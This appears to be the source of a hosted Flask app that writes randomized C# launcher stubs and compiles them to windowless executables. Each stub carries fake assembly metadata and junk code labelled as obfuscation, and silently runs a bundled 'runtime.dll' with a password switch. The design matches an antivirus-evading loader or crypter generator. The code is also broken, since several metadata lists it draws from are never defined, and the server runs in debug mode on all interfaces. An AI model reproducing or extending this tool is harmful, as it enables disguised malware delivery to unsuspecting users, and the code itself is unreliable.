Spaces:
Sleeping
Sleeping
File size: 5,963 Bytes
45a1acf 0b709b9 45a1acf 0b709b9 66f8fc1 45a1acf 0b709b9 1664bcf 0b709b9 adbe5cd a88f75b 0b709b9 45a1acf 0b709b9 1664bcf 0b709b9 1664bcf 0b709b9 12381d0 0b709b9 1664bcf 0b709b9 1664bcf 0d640b8 1664bcf 12381d0 887b890 0b709b9 1664bcf f33fecc 1664bcf f33fecc 5d5f013 1bd78a1 12381d0 dcbff4e 1664bcf 12381d0 f33fecc 1664bcf 0b709b9 1664bcf 0d640b8 0b709b9 1664bcf 45a1acf 838901f |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 |
import os
import random
import string
import subprocess
from flask import Flask, render_template_string, send_file
app = Flask(__name__)
# Base C# template (unchanged)
base_cs_template = """
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
[assembly: AssemblyTitle("<<title>>")]
[assembly: AssemblyDescription("<<description>>")]
[assembly: AssemblyConfiguration("<<configuration>>")]
[assembly: AssemblyCompany("<<company>>")]
[assembly: AssemblyProduct("<<product>>")]
[assembly: AssemblyCopyright("<<copyright>>")]
[assembly: AssemblyTrademark("<<trademark>>")]
[assembly: AssemblyVersion("<<version>>")]
[assembly: AssemblyFileVersion("<<file_version>>")]
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
class Program
{
static void Main()
{
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
if (File.Exists(originalFilePath))
{
<<control_flow_junk>>
Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
<<additional_obfuscated_code>>
Environment.Exit(0); // Exit immediately
}
}
<<obfuscated_methods>>
}
"""
# Utility functions (unchanged)
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def random_version():
major = random.randint(1, 5)
minor = random.randint(0, 9)
build = random.randint(0, 99)
revision = random.randint(0, 99)
return f"{major}.{minor}.{build}.{revision}"
def generate_control_flow_junk():
conditions = [
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
"if (false) { Console.WriteLine(\"This will never happen\"); }",
"while (false) { break; }"
]
return random.choice(conditions)
def generate_obfuscated_methods():
methods = [
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
]
return "\n ".join(random.sample(methods, k=2))
def generate_additional_obfuscated_code():
snippets = [
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
"string dummy = \"abc\";",
"Console.WriteLine(\"Executing...\");"
]
return random.choice(snippets)
@app.route('/')
def index():
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Script Generator</title>
</head>
<body>
<h1>Generate and Compile C# Script</h1>
<form action="/generate" method="post">
<button type="submit">Generate & Compile</button>
</form>
</body>
</html>
"""
return render_template_string(html_content)
@app.route('/generate', methods=['POST'])
def generate_script():
# Generate assembly info
assembly_info = {
'title': random.choice(titles),
'description': random.choice(descriptions),
'configuration': '',
'company': random.choice(companies),
'product': "MyProduct",
'copyright': f"Copyright © {random.choice(companies)} 2024",
'trademark': random.choice(trademarks),
'version': random_version(),
'file_version': random_version(),
'informational_version': random_version()
}
# Replace placeholders
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
.replace('<<description>>', assembly_info['description']) \
.replace('<<configuration>>', assembly_info['configuration']) \
.replace('<<company>>', assembly_info['company']) \
.replace('<<product>>', assembly_info['product']) \
.replace('<<copyright>>', assembly_info['copyright']) \
.replace('<<trademark>>', assembly_info['trademark']) \
.replace('<<version>>', assembly_info['version']) \
.replace('<<file_version>>', assembly_info['file_version']) \
.replace('<<informational_version>>', assembly_info['informational_version']) \
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
# Generate random names
script_name = random_string(10) + '.cs'
exe_name = random_string(10) + '.exe'
# Write the script
with open(script_name, 'w') as file:
file.write(modified_cs)
# Compile with csc
compile_command = [
'csc', '-target:winexe', '-out:' + exe_name, script_name
]
try:
result = subprocess.run(compile_command, capture_output=True, text=True, check=True)
except subprocess.CalledProcessError as e:
error_message = e.stderr.strip()
return f"Compilation failed: {error_message}", 500
except FileNotFoundError:
return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500
# Provide a link to download the executable
return send_file(exe_name, as_attachment=True)
# Start Flask app
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=True)
|